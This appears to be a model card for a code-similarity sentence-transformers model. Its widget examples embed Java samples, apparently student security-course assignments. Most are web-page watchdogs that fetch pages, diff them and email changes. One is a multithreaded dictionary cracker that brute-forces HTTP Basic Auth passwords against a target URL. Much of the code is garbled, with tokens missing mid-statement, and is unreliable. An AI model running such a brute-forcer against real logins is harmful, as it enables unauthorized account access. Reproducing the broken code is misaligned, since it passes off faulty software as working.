--- tags: - sentence-transformers - sentence-similarity - feature-extraction - generated_from_trainer - dataset_size:30069 - loss:SoftmaxLoss base_model: huggingface/CodeBERTa-small-v1 widget: - source_sentence: " \n\n\n\n\nimport java.util.*;\nimport java.io.*;\n\npublic class\ \ MyTimer\n{\t\n\n\tpublic static void main(String args[])\n\t{\n\t\tWatchdog\ \ watch = new Watchdog();\n\t\tTimer time = new Timer();\n\t\ttime.schedule(watch,864000000,864000000);\n\ \t\t\n\t\t\t\n\t}\n}\n" sentences: - "\n\npublic class Base64 {\n\n\nstatic public char[] encode(byte[] data)\n{\n\ \ char[] out = new char[((data.length + 2) / 3) * 4];\n\n \n \n \n\ \ \n for (int i=0, index=0; i>= 6;\n out[index+2]\ \ = alphabet[(trip? ( bat & 0x3F): 64)];\n bat >>= 6;\n out[index+1]\ \ = alphabet[bat & 0x3F];\n bat >>= 6;\n out[index+0] = alphabet[\ \ bat & 0x3F];\n }\n return out;\n}\n\n \nstatic public byte[] decode(char[]\ \ data)\n{\n \n \n \n \n \n \n\n int tempLen = data.length;\n\ \ for( int ix=0; ix 255)\ \ || codes[ data[ix] ] < 0 )\n --tempLen; \n }\n \n \n \ \ \n \n\n int len = (tempLen / 4) * 3;\n if ((tempLen % 4) == 3) len\ \ += 2;\n if ((tempLen % 4) == 2) len += 1;\n\n byte[] out = new byte[len];\n\ \n\n\n int shift = 0; \n int accum = 0; \n int index = 0;\n\n \ \ \n for (int ix=0; ix255)?\ \ -1: codes[ data[ix] ];\n\n if ( value >= 0 ) \n {\n\ \ accum <<= 6; \n shift += 6; \n\ \ accum |= value; \n if ( shift >= 8 ) \n\ \ {\n shift -= 8; \n out[index++]\ \ = \n (byte) ((accum >> shift) & 0xff);\n \ \ }\n }\n \n \n \n \n \n \n \ \ }\n\n \n if( index != out.length)\n {\n throw new Error(\"\ Miscalculated data length (wrote \" + index + \" instead of \" + out.length +\ \ \")\");\n }\n\n return out;\n}\n\n\n\n\n\nstatic private char[] alphabet\ \ =\n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\"\ \n .toCharArray();\n\n\n\n\nstatic private byte[] codes = new byte[256];\n\ static {\n for (int i=0; i<256; i++) codes[i] = -1;\n for (int i = 'A';\ \ i <= 'Z'; i++) codes[i] = (byte)( i - 'A');\n for (int i = 'a'; i <=\ \ 'z'; i++) codes[i] = (byte)(26 + i - 'a');\n for (int i = '0'; i <= '9';\ \ i++) codes[i] = (byte)(52 + i - '0');\n codes['+'] = 62;\n codes['/']\ \ = 63;\n}\n}" - "\n\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\nimport javax.naming.Context;\n\ import javax.naming.InitialContext;\nimport javax.rmi.PortableRemoteObject;\n\ import javax.sql.DataSource;\n\n\n\n\n\n\npublic class MailsendPropertyHelper\ \ {\n\n\tprivate static Properties testProps;\n\n\tpublic MailsendPropertyHelper()\ \ {\n\t}\n\n\n\t\n\n\tpublic static String getProperty(String pKey){\n\t\ttry{\n\ \t\t\tinitProps();\n\t\t}\n\t\tcatch(Exception e){\n\t\t\tSystem.err.println(\"\ Error init'ing the watchddog Props\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\ return testProps.getProperty(pKey);\n\t}\n\n\n\tprivate static void initProps()\ \ throws Exception{\n\t\tif(testProps == null){\n\t\t\ttestProps = new Properties();\n\ \n\t\t\tInputStream fis =\n\t\t\t\tMailsendPropertyHelper.class.getResourceAsStream(\"\ /mailsend.properties\");\n\t\t\ttestProps.load(fis);\n\t\t}\n\t}\n}\n\n\n\n\n\n" - "\n\nimport java.util.*;\nimport java.*;\nimport java.awt.*;\nimport java.net.*;\n\ import java.io.*;\nimport java.text.*;\n\npublic class Dictionary {\n \n \ \ \n \n public static String Base64Encode(String s) {\n byte[] bb\ \ = s.getBytes();\n byte[] b = bb;\n char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n\ \ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\n\ \ '0','1','2','3','4','5','6','7','8','9','+','/' };\n if (bb.length\ \ % 3!=0) {\n int x1 = bb.length;\n \n b = new\ \ byte[(x1/3+1)*3];\n int x2 = b.length;\n \n \ \ for(int i=0;i> 2)];\n c[j+1] = table[(b[i+1] >>\ \ 4) | ((b[i] & 3) << 4)];\n c[j+2] = table[(b[i+2] >> 6) |\ \ ((b[i+1] & 15) << 2)];\n c[j+3] = table[(b[i+2] & 63)];\n \ \ i+=3;\n j+=4;\n }\n \n j = c.length-1;\n\ \ while (c[j]=='A') {\n c[j]='=';\n j--;\n \ \ }\n \n return String.valueOf(c);\n }\n \n \n public\ \ synchronized void getAccumulatedLocalAttempt() {\n attempt = 0;\n \ \ for (int i=0;i=0);\n\ \ }\n \n \n \n public synchronized void waitUntilAllTerminated()\ \ {\n while (curconn>0) {\n try {\n wait();\n\ \ } catch (InterruptedException e) {}\n }\n }\n \n \ \ \n \n \n public synchronized int waitUntilOK2Connect() {\n boolean\ \ interruptd= false;\n int idx = -1;\n \n \n \n \ \ \n while (curconn>=MAXCONN) {\n try {\n \ \ wait();\n } catch (InterruptedException e) { interruptd = true;\ \ }\n }\n \n \n \n if (!interruptd) {\n \ \ \n curconn++;\n for (idx=0;idx=MINCHAR) && (s.length()<=MAXCHAR)) {\n \ \ w.println(s);\n ALLCOMBI++;\n \ \ }\n }\n b.print();\n w.print();\n \ \ } catch (FileNotFoundException e) {\n System.out.println(\"Unable\ \ open the DICTIONARY file '\"+DICTIONARY+\"'\");\n System.exit(0);\n\ \ } catch (IOException e) {\n System.out.println(\"Error in\ \ the DICTIONARY file '\"+DICTIONARY+\"'\");\n System.exit(0);\n \ \ }\n }\n \n \n \n \n \n public class ThCrack extends\ \ Thread {\n \n \n public ThCrack(int threadID, int startidx,\ \ int endidx) {\n super(\" Thread #\"+String.valueOf(threadID)+\":\ \ \");\n this.ID = threadID;\n this.startidx = startidx;\n\ \ this.endidx = endidx;\n \n \n \ \ if (endidx>=startidx+MAXCACHE-1) {\n this.localDict = new String[MAXCACHE];\n\ \ this.localDict = fetchWords(startidx,MAXCACHE);\n \ \ lastFetchIdx = startidx+MAXCACHE-1;\n } else {\n \ \ this.localDict = new String[(int)(endidx-startidx+1)];\n \ \ this.localDict = fetchWords(startidx,(int)(endidx-startidx+1));\n \ \ lastFetchIdx = endidx;\n }\n \n setDaemon(true);\n\ \ }\n \n \n public boolean launchRequest(String ID,\ \ int connID,String thePass) throws IOException, InterruptedException {\n \ \ int i;\n String msg;\n \n \n \ \ URL tryURL = new URL(THEURL);\n \n \n connections[connID]=(HttpURLConnection)\ \ tryURL.openConnection();\n \n \n connections[connID].setRequestProperty(\"\ Authorization\",\" \"+Base64Encode(USERNAME+\":\"+thePass));\n \n \ \ \n i = connections[connID].getResponseCode();\n \ \ msg = connections[connID].getResponseMessage();\n connections[connID].disconnect();\n\ \ \n \n if (i==HttpURLConnection.HTTP_OK) {\n\ \ \n System.out.println(ID+\"Trying '\"+thePass+\"\ ' GOTCHA !!! (= \"+String.valueOf()+\"-\"+msg+\").\");\n setSuccess(this.ID,thePass);\n\ \ return (true);\n } else {\n \n \ \ System.out.println(ID+\"Trying '\"+thePass+\"' FAILED (= \"+String.valueOf()+\"\ -\"+msg+\").\");\n return (false);\n }\n }\n\ \ \n \n public void rest(int msec) {\n try { sleep(msec);\ \ } catch (InterruptedException e) {}\n }\n \n \n \ \ public String getCacheIdx(int idx) {\n if (idx<=lastFetchIdx) {\n\ \ return localDict[localDict.length-(int)(lastFetchIdx-idx)-1];\n\ \ } else {\n if (lastFetchIdx+localDict.length-1>endidx)\ \ {\n this.localDict = fetchWords(lastFetchIdx+1,(int)(endidx-lastFetchIdx-1));\n\ \ lastFetchIdx = endidx;\n } else {\n \ \ this.localDict = fetchWords(lastFetchIdx+1,localDict.length);\n\ \ lastFetchIdx = lastFetchIdx+localDict.length;\n \ \ }\n return localDict[localDict.length-(int)(lastFetchIdx-idx)-1];\n\ \ }\n }\n \n \n \n public String\ \ constructPassword(int idx) {\n return getCacheIdx(idx);\n \ \ }\n \n \n public String getStartStr() {\n return\ \ fetchWord(this.startidx);\n }\n \n \n public String\ \ getEndStr() {\n return fetchWord(this.endidx);\n }\n \ \ \n \n public void run() {\n i = startidx;\n \ \ boolean keeprunning = true;\n while ((!isSuccess()) && (i<=endidx)\ \ && (keeprunning)) {\n \n \n int\ \ idx = waitUntilOK2Connect();\n \n \n \ \ if (idx==-1) {\n \n break;\n \ \ }\n \n try {\n \ \ \n String s = constructPassword(i);\n \ \ \n if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR))\n\ \ launchRequest(getName(), idx, s);\n \ \ else\n System.out.println(getName()+\"skipping '\"\ +s+\"'\");\n \n decreaseConn(idx);\n \ \ \n localattempt++;\n \n\ \ \n rest(MAXCONN);\n \ \ i++;\n } catch (InterruptedException e) {\n \ \ \n \n keeprunning = false;\n \ \ break;\n } catch (IOException e) {\n \ \ \n \n \n \n\ \ \n decreaseConn(idx);\n \ \ }\n }\n \n \n if (success==this.ID)\ \ {\n waitUntilAllTerminated();\n }\n }\n \ \ \n \n public int getLocalAttempt() {\n return localattempt;\n\ \ }\n \n private int startidx,endidx;\n private int\ \ ID;\n private int localattempt = 0;\n private String localDict[];\ \ \n private int lastFetchIdx;\n }\n \n \n public void printProgramHeader(String\ \ mode,int nThread) {\n System.out.println();\n System.out.println(\"\ \ ********************** [ DICTIONARY CRACKING SYSTEM ] *********************\"\ );\n System.out.println();\n System.out.println(\" URL \ \ : \"+THEURL);\n System.out.println(\" Crack Mode : \"+mode);\n \ \ System.out.println(\" . Char : \"+MINCHAR);\n System.out.println(\"\ \ . Char : \"+MAXCHAR);\n System.out.println(\" # of Thread : \"+nThread);\n\ \ System.out.println(\" Connections : \"+MAXCONN);\n System.out.println(\"\ \ All Combi. : \"+ALLCOMBI);\n System.out.println();\n System.out.println(\"\ \ ***************************************************************************\"\ );\n System.out.println();\n }\n \n \n public void startNaiveCracking()\ \ {\n MAXTHREAD = 1;\n MAXCONN = 1;\n startDistCracking();\n\ \ }\n \n \n public void startDistCracking() {\n int startidx,endidx;\n\ \ int thcount;\n \n \n if (isenhanced) {\n \ \ printProgramHeader(\"ENHANCED DICTIONARY CRACKING ALGORITHM\",MAXTHREAD);\n\ \ } else {\n printProgramHeader(\"NAIVE DICTIONARY CRACKING\ \ ALGORITHM\",MAXTHREAD);\n }\n \n \n \n \n\ \ \n \n \n \n if (MAXTHREAD>ALLCOMBI) { MAXTHREAD\ \ = (int) (ALLCOMBI); }\n mult = (ALLCOMBI) / MAXTHREAD;\n \n \ \ \n i = System.currentTimeMillis();\n \n \n \ \ for (thcount=0;thcount=0) {\n System.out.println();\n\ \ System.out.println(\" ********************* [ URL SUCCESSFULLY\ \ CRACKED !! ] *********************\");\n System.out.println();\n\ \ System.out.println(\" The password is : \"+passw);\n \ \ System.out.println(\" Number of attempts : \"+attempt+\" of \"\ +ALLCOMBI+\" total combinations\");\n System.out.println(\" Attempt\ \ position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n\ \ System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+\ \ \" attempts/sec\");\n System.out.println(\" Cracking time \ \ : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n \ \ System.out.println(\" Worstcase time estd : \"+fmt.format(1/ovAps*ALLCOMBI)+\ \ \" seconds\");\n System.out.println();\n System.out.println(\"\ \ ***************************************************************************\"\ );\n System.out.println();\n } else {\n \ \ System.out.println();\n System.out.println(\" *********************\ \ [ UNABLE CRACK THE URL !!! ] *********************\");\n System.out.println();\n\ \ System.out.println(\" Number of attempts : \"+attempt+\" of\ \ \"+ALLCOMBI+\" total combinations\");\n System.out.println(\"\ \ Attempt position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"\ %\");\n System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+\ \ \" attempts/sec\");\n System.out.println(\" Cracking time \ \ : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n \ \ System.out.println();\n System.out.println(\" ***************************************************************************\"\ );\n System.out.println();\n }\n }\n }\n \ \ \n \n public static void printSyntax() {\n System.out.println();\n\ \ System.out.println(\"Syntax : Dictionary [mode] [URL] [] [] [username]\"\ );\n System.out.println();\n System.out.println(\" mode :\ \ (opt) 0 - NAIVE Dictionary mode\");\n System.out.println(\" \ \ (trying from the first the last combinations)\");\n System.out.println(\"\ \ 1 - ENHANCED Dictionary mode\");\n System.out.println(\"\ \ (dividing cracking jobs multiple threads) (default)\"\ );\n System.out.println(\" URL : (opt) the URL crack \");\n \ \ System.out.println(\" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)\"\ );\n System.out.println(\" , : (optional) range of characters applied\ \ in the cracking\");\n System.out.println(\" where\ \ 1 <= <= 255 (default = 1)\");\n System.out.println(\" \ \ <= <= 255 (default = 3)\");\n System.out.println(\"\ \ username : (optional) the username that is used crack\");\n System.out.println();\n\ \ System.out.println(\" NOTE: The optional parameters '','', and 'username'\"\ );\n System.out.println(\" have specified altogether none at\ \ all.\");\n System.out.println(\" For example, if [] is specified,\ \ then [], and [username]\");\n System.out.println(\" have specified\ \ as well. If none of them specified,\");\n System.out.println(\" \ \ default values used.\");\n System.out.println();\n System.out.println(\"\ \ Example of invocation :\");\n System.out.println(\" java Dictionary\ \ \");\n System.out.println(\" java Dictionary 0\");\n System.out.println(\"\ \ java Dictionary 1 http://localhost/tryme.php\");\n System.out.println(\"\ \ java Dictionary 0 http://localhost/tryme.php 1 3 \");\n System.out.println(\"\ \ java Dictionary 1 http://localhost/tryme.php 1 10 \");\n System.out.println();\n\ \ System.out.println();\n }\n \n \n public static void paramCheck(String[]\ \ args) {\n int argc = args.length;\n \n \n try {\n\ \ switch (Integer.valueOf(args[0]).intValue()) {\n case\ \ 0: {\n isenhanced = false;\n } break;\n \ \ case 1: {\n isenhanced = true;\n \ \ } break;\n default:\n System.out.println(\"\ Syntax error : invalid mode '\"+args[0]+\"'\");\n printSyntax();\n\ \ System.exit(1);\n }\n } catch (NumberFormatException\ \ e) {\n System.out.println(\"Syntax error : invalid number '\"+args[0]+\"\ '\");\n printSyntax();\n System.exit(1);\n }\n \ \ \n if (argc>1) {\n try {\n \n \ \ URL u = new URL(args[1]);\n \n \n \ \ try {\n HttpURLConnection conn = (HttpURLConnection)\ \ u.openConnection();\n \n switch (conn.getResponseCode())\ \ {\n case HttpURLConnection.HTTP_ACCEPTED:\n \ \ case HttpURLConnection.HTTP_OK:\n case \ \ HttpURLConnection.HTTP_NOT_AUTHORITATIVE:\n case HttpURLConnection.HTTP_FORBIDDEN:\n\ \ case HttpURLConnection.HTTP_UNAUTHORIZED:\n \ \ break;\n default:\n \ \ \n \n System.out.println(\"\ Unable open connection the URL '\"+args[1]+\"'\");\n \ \ System.exit(1);\n }\n } catch (IOException\ \ e) {\n System.out.println(e);\n System.exit(1);\n\ \ }\n \n THEURL = args[1];\n \ \ } catch (MalformedURLException e) {\n \n \ \ System.out.println(\"Invalid URL '\"+args[1]+\"'\");\n printSyntax();\n\ \ System.exit(1);\n }\n }\n \n \ \ \n if (argc==5) {\n try {\n MINCHAR = Integer.valueOf(args[2]).intValue();\n\ \ } catch (NumberFormatException e) {\n System.out.println(\"\ Invalid range number value '\"+args[2]+\"'\");\n printSyntax();\n\ \ System.exit(1);\n }\n \n try\ \ {\n MAXCHAR = Integer.valueOf(args[3]).intValue();\n \ \ } catch (NumberFormatException e) {\n System.out.println(\"\ Invalid range number value '\"+args[3]+\"'\");\n printSyntax();\n\ \ System.exit(1);\n }\n \n if\ \ ((MINCHAR<1) || (MINCHAR>255)) {\n System.out.println(\"Invalid\ \ range number value '\"+args[2]+\"' (must between 0 and 255)\");\n \ \ printSyntax();\n System.exit(1);\n } else\n\ \ if (MINCHAR>MAXCHAR) {\n System.out.println(\"\ Invalid range number value '\"+args[2]+\"' (must lower than the value)\");\n\ \ printSyntax();\n System.exit(1);\n \ \ }\n \n if (MAXCHAR>255) {\n \ \ System.out.println(\"Invalid range number value '\"+args[3]+\"' (must between\ \ value and 255)\");\n printSyntax();\n System.exit(1);\n\ \ }\n \n USERNAME = args[4];\n } else\n\ \ if ((argc>2) && (argc<5)) {\n System.out.println(\"\ Please specify the [], [], and [username] altogether none at all\");\n \ \ printSyntax();\n System.exit(1);\n } else\n\ \ if ((argc>2) && (argc>5)) {\n System.out.println(\"\ The number of parameters expected is not more than 5. \");\n \ \ System.out.println(\" have specified more than 5 parameters.\");\n \ \ printSyntax();\n System.exit(1);\n \ \ }\n }\n \n public static void main(String[] args) {\n MINCHAR\ \ = 1;\n MAXCHAR = 3; \n \n \n if (args.length==0)\ \ {\n args = new String[5];\n args[0] = String.valueOf(1);\ \ \n args[1] = THEURL;\n args[2] = String.valueOf(MINCHAR);\n\ \ args[3] = String.valueOf(MAXCHAR);\n args[4] = USERNAME;\n\ \ }\n \n \n paramCheck(args);\n \n \n\ \ readThroughDictionary();\n \n \n Application = new\ \ Dictionary();\n }\n \n public static Dictionary Application;\n public\ \ static String THEURL\t\t= \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ ;\n public static String DICTIONARY = System.getProperty(\"user.dir\"\ )+\"/words\";\n public static String TEMPDICT = System.getProperty(\"\ user.dir\")+\"/~words\";\n public static boolean isenhanced;\t\t\n public\ \ static String passw\t\t= \"\";\t\n \n public static final int REPORT_INTERVAL\ \ = 1; \n public static int MAXTHREAD = 50; \n public static\ \ int MAXCONN = 50; \n public static int\t curconn = 0;\ \ \n public static int success = -1; \n \n public\ \ static String USERNAME = \"\"; \n public static int MINCHAR; \ \ \n public static int MAXCHAR; \n public\ \ static int ALLCOMBI; \n \n public static int start\ \ ,end; \n public static int MAXCACHE = 100; \n \ \ \n public static java.util.Timer reportTimer; \n public static HttpURLConnection\ \ connections[] = new HttpURLConnection[MAXCONN]; \n public static boolean\t\ \ connused[]\t = new boolean[MAXCONN]; \n public ThCrack[]\ \ threads = new ThCrack[MAXTHREAD]; \n public static\ \ int attempt = 0; \n public static int idxLimit;\t\t\ \ \n}\n" - source_sentence: "\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\n\ import java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\ \npublic class WriteFile\n{\n String url;\n String fileName;\n int flag;\n\ \ private PrintWriter out2;\n private TextArea response;\n int status;\n\ \ int mailFlag;\n\n public WriteFile (String newUrl, String newFileName, int\ \ newFlag)\n {\n url = newUrl;\n fileName = newFileName;\n \ \ PrintWriter printW = null;\n FileOutputStream fout;\n flag = newFlag;\n\ \ status = 0;\n mailFlag = 0;\n\n \n File file = new File(fileName);\n\ \ file.delete();\n\n try\n {\n fout = new FileOutputStream(fileName,true);\n\ \ printW = new PrintWriter(fout);\n }\n catch (IOException\ \ ioe)\n {\n System.out.println(\"IO Error : \" + ioe);\n \ \ }\n\n\n URL u;\n URLConnection uc;\n\n try\n {\n \ \ u = new URL(url);\n try\n {\n \n \ \ uc = u.openConnection();\n\n InputStream content = (InputStream)uc.getInputStream();\n\ \ BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\ \n String line;\n\n \n while ((line = in.readLine())\ \ != null)\n {\n \n printW.println(line);\n\ \n }\n }\n catch (Exception e)\n {\n \ \ System.out.println(\"Error: \" + e);\n }\n }\n \ \ catch (MalformedURLException e)\n {\n System.out.println(url\ \ + \" is not a parseable URL\");\n }\n \n printW.print();\n\ \n\n if(flag == 1)\n {\n \n compareDiff(\"@.rmit.edu.\"\ );\n }\n }\n\n String loadStream(InputStream in) throws IOException\n\ \ {\n int ptr = 0;\n in = new BufferedInputStream(in);\n \ \ StringBuffer buffer = new StringBuffer();\n\n while( (ptr = in.next())\ \ != -1 )\n {\n status++;\n \n buffer.append((char)ptr);\n\ \ mailFlag++;\n \n }\n return buffer.toString();\n\ \ }\n\n public void compareDiff(String emailAdd)\n {\n String cmds\ \ = \"diff test1.txt test2.txt\";\n PrintWriter printW2 = null;\n \ \ FileOutputStream fout2;\n \n File file = new File(\"diff.txt\");\n\ \ file.delete();\n String ;\n\n try\n {\n fout2\ \ = new FileOutputStream(\"diff.txt\",true);\n printW2 = new PrintWriter(fout2);\n\ \ }\n catch (IOException ioe)\n {\n System.out.println(\"\ IO Error : \" + ioe);\n }\n\n try\n {\n\n\n \n \ \ Process ps = Runtime.getRuntime().exec(cmds);\n PrintWriter out\ \ = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n \ \ printW2.println(loadStream(ps.getInputStream())+\"\\n\");\n printW2.print();\n\ \n\n if(mailFlag != 0)\n {\n FileReader fRead2;\n\ \ BufferedReader buf2;\n\n try\n {\n \ \ fRead2 = new FileReader(\"diff.txt\");\n buf2 = new\ \ BufferedReader(fRead2);\n String line2;\n int\ \ i=0;\n\n line = new String(\" some changes the web as followed:\ \ \\n\");\n \n Socket s = new Socket(\"wombat.cs.rmit.edu.\"\ , 25);\n out2 = new PrintWriter(s.getOutputStream());\n\n \ \ send(null);\n send(\"HELO cs.rmit.edu.\");\n \ \ send(\"MAIL FROM: @.rmit.edu.\");\n \n \ \ send(\"RCPT : @.rmit.edu.\");\n send(\"DATA\");\n \ \ \n\n while( (line2 = buf2.readLine()) != null)\n \ \ {\n \n line= new String(\"\"+line2+\"\\n\");\n \ \ \n \n\n }\n \ \ \n \n \n out2.print();\n \ \ send(\".\");\n s.print();\n }\n \ \ catch(FileNotFoundException e)\n {\n System.out.println(\"\ File not found\");\n }\n catch(IOException ioe)\n \ \ {\n System.out.println(\"IO Error \" + ioe);\n \ \ }\n }\n\n System.out.println(loadStream(ps.getInputStream()));\n\ \ \n System.err.print(loadStream(ps.getErrorStream()));\n \ \ }\n catch(IOException ioe)\n {\n ioe.printStackTrace();\n\ \ }\n }\n\n public void send(String s) throws IOException\n {\n\ \ \tresponse = new TextArea();\n \tif(s != null)\n \t{\n \ \ response.append(s + \"\\n\");\n out2.println(s);\n\t out2.flush();\n\ \t}\n }\n\n public int getStatus()\n {\n return status;\n }\n}" sentences: - "import java.io.*;\nimport java.util.StringTokenizer;\nimport java.net.smtp.SmtpClient;\n\ import java.util.Timer;\nimport java.util.TimerTask;\n\n\npublic class WatchDog\ \ {\npublic static void main(String[] args) {\ntry {\nProcess y = Runtime.getRuntime().exec(\"\ ./init\");\n}\ncatch (Exception e) {System.err.println(e);}\n\n\nWatchDog poodle=new\ \ WatchDog();\n {\npoodle.startWatch();\n} while(1==1);\n}\n\npublic void startWatch()\ \ {\nString error_mes=new String();\nString mesg=new String();\nString url=\"\ wget -p http://www.cs.rmit.edu./students\";\n\ntry {\nProcess a = Runtime.getRuntime().exec(url);\n\ }\ncatch (Exception e) {System.err.println(e);}\n\ntry {\nProcess b = Runtime.getRuntime().exec(\"\ diff org/images/ www.cs.rmit.edu./images/\");\n BufferedReader stdInputimages\ \ = new BufferedReader(new InputStreamReader(b.getInputStream()));\n \ \ while ((error_mes = stdInputimages.readLine()) != null) {\n\n \ \ mesg=mesg.concat(error_mes);\n \n \n \ \ }\n}\ncatch (Exception e) {System.err.println(e);}\n\n\n\n\ntry {\nProcess\ \ c = Runtime.getRuntime().exec(\"diff org/students/ www.cs.rmit.edu./students/\"\ );\nBufferedReader stdInputindex = new BufferedReader(new InputStreamReader(c.getInputStream()));\n\ \ while ((error_mes = stdInputindex.readLine()) != null) {\n \ \ mesg=mesg.concat(error_mes);\n \n }\n}\n\ catch (Exception e) {System.err.println(e);}\n\n\nif (mesg.length()>0) { sendEmail(mesg);\ \ }\n\ntry { Thread.sleep(60*60*24*1000);\n } catch(Exception e) { }\n}\n\n\n\n\ \n\npublic void sendEmail(String message) {\n{\nString reciever = \"@cs.rmit.edu.\"\ ;\nString sender = \"WATCHDOG@cs.rmit.edu.\";\n\n try {\n\n \ \ SmtpClient smtp = new SmtpClient();\n smtp.from(sender);\n\ \ smtp.to(reciever);\n PrintStream\ \ msg = smtp.startMessage();\n msg.println(message);\n\ \ smtp.closeServer();\n }\n\n \ \ catch (Exception e) {}\n\n }\n}\n}" - "import java.net.*; \nimport java.io.*; \nimport java.util.regex.*;\nimport java.util.Date;\n\ import java.util.*;\nimport java.text.*; \n\n\n\n\npublic class WatchDog { \n\ \ public static BufferedReader in;\n \n\n public static int LIMITINMINUTES=60*24;\n\ \ public static int TIMELIMIT=LIMITINMINUTES*1000*60;\n public static void main(String[]\ \ args) throws Exception { \n \n String watchedPage = \"http://www.cs.rmit.edu./students/\"\ ;\n String currentPage = \"\"; \n \n \n System.out.println(\" stop\ \ the program, press \\\"Alt + C\\\"\");\n \n boolean loggedout=false;\n\ \ while (!loggedout){\n \n currentPage=\"\";\n \n \n \ \ Date date = new Date();\n startTime=date.getTime();\n \n \ \ \n URL cs = new URL(watchedPage); \n HttpURLConnection connection;\n\ \ URLConnection csc = cs.openConnection(); \n try {\n\tBufferedReader\ \ in = new BufferedReader(new InputStreamReader(csc.getInputStream())); \n\tString\ \ inputLine; \n\t\n\twhile ((inputLine = in.readLine()) != null) {\n\t currentPage\ \ = currentPage+inputLine;\n\t}\n\t\n }\n catch (IOException s) { \ \ \n }\n finally {\n\twhile(in!=null)\n in.next();\n \ \ }\n \n String lastPage=readData();\n if (lastPage.trim().equals(currentPage.trim()))\ \ {\n\tSystem.out.println(\"Pages match, nothing email.\");\n }\n else\ \ {\n\t\n\t\n\tString checkCurrentPage = currentPage.trim();\n\tString checkLastPage\ \ = lastPage.trim();\n\tint iterations;\n\t\n\tboolean lastLongestString;\n\t\ if (checkCurrentPage.length()count && checkCurrentPage.length()>count){\n\ \t \n if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count)))\ \ {\n\t \n\t \n\t if (count<20){\n\t\tadditions = \"Sorry changes\ \ together distinguish additions and subtractions . Here is where : \"+ checkCurrentPage.substring(count,\ \ checkCurrentPage.length());\n\t\tcount = iterations;\n\t }\n\t else\ \ {\n\t\t\n\t\t\n\t\tcheckCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length());\n\ \t\tcheckLastPage=checkLastPage.substring(count, checkLastPage.length());\n\t\t\ iterations=iterations-count;\n\t\tcount=0;\n\n\t\t\n\t\t\n\t\t\n\t\tString regexAdd=\"\ \";\n\t\tif (checkLastPage.length()<20){\n\t\t regexAdd=checkLastPage.substring(count,\ \ checkLastPage.length());\n\t\t}\n\t\telse {\t \n\t\t regexAdd=checkLastPage.substring(0,19);\n\ \t\t}\n\t\tString [] changes=checkCurrentPage.split(regexAdd, 2);\n\t\tint changeslength=changes.length;\n\ \t\t\n\t\tif (changeslength>1){\n\t\t \n\t\t add=true;\n\t\t additions = additions\ \ + changes[0];\t \n\t\t \n\t\t \n\t\t if (changeslength>1){\n\t\t checkCurrentPage=regexAdd+changes[1];\n\ \t\t }\n\t\t else {\n\t\t if (lastLongestString==true) \n\t \ \ count=iterations;\n\t\t } \n\t\t}\n\t\telse { \n\t \t\t \n\t\t \n\t\t \ \ \n\t\t String regexSub=\"\";\n\t\t if (checkCurrentPage.length()<20){\n\t\t\ \ regexSub=checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\ \t }\n\t\t else {\t \n\t\t regexSub=checkCurrentPage.substring(0,19);\n\t\ \t }\n\t\t String [] changesSub=checkLastPage.split(regexSub, 2);\n\t\t int\ \ changeslengthSub=changesSub.length;\n\t\t \n\t\t if (changeslengthSub>1){\n\ \t\t \n\t\t sub=true;\n\t\t subtractions = subtractions + changesSub[0];\t\ \ \n\t\t \n\t\t \n\t\t if (changeslengthSub>1){\n\t\t checkLastPage=regexSub+changesSub[1];\n\ \t\t }\n\t\t else {\n\t\t if (lastLongestString==false) \n\t\t \ \ count=iterations;\n\t\t }\n\t\t \n\t\t \n\t\t }\n\t\t}\n\t }\n\ \n } \n\t } \n\t} \n\t\n\t\n\tString emailBody=\"Changes have been\ \ . \\n\"+additions+subtractions;\n\n\t\n\tsendEmail(emailBody);\n }\n\n\ \ \n writeData(currentPage);\n \n \n wait24(startTime);\n\ \ } \n } \n \n \n private static void wait24( int startTime) {\n boolean\ \ waiting=true;\n while(waiting){\n Date endDate = new Date();\n \ \ endTime=endDate.getTime();\n \n \n if (endTime>(TIMELIMIT+startTime)){\n\ \ \n waiting=false;\n }\t\n }\n } \n \n \n public\ \ static String readData() {\n String data;\n String lastPage=\"\";\n \ \ try {\n BufferedReader in = new BufferedReader(new FileReader(\"LastVisitedPage.html\"\ ));\n while ((data = in.readLine())!=null) {\n lastPage= lastPage\ \ + data +\"\\n\";\n }\n \n }\n catch (FileNotFoundException e1)\ \ {\n System.exit(0);\n }\n catch (IOException e2) {\n System.out.println(\"\ IO Exception, exiting\");\n System.exit(0);\n }\t \n finally {\n\ \ try {\n\tif (null!=in) {\n in.next();\n\t}\n }\n catch (IOException\ \ e3) {}\n }\n return lastPage;\n }\n \n \n public static void writeData(String\ \ currentPage) {\n PrintWriter out;\n try {\n\tout = new PrintWriter (new\ \ BufferedWriter(new FileWriter(\"LastVisitedPage.html\")));\n\tout.println(currentPage);\n\ \t\n\t\n }\n catch (IllegalArgumentException e1) {\n\tSystem.out.println\ \ (\"Sorry, 't write file. None of changes in this session have been saved\"\ );\n\tSystem.exit(0);\n }\n catch (IOException e2) {\n\tSystem.out.println\ \ (\"Sorry, 't write file. None of changes in this session have been saved\"\ );\n\tSystem.exit(0);\n\t}\n finally {} \n } \n\n \n \n \n public static\ \ void sendEmail(String emailBody){\n \n Socket smtpSocket =null;\n DataOutputStream\ \ os = null;\n InputStreamReader is = null ;\n\n Date dDate = new 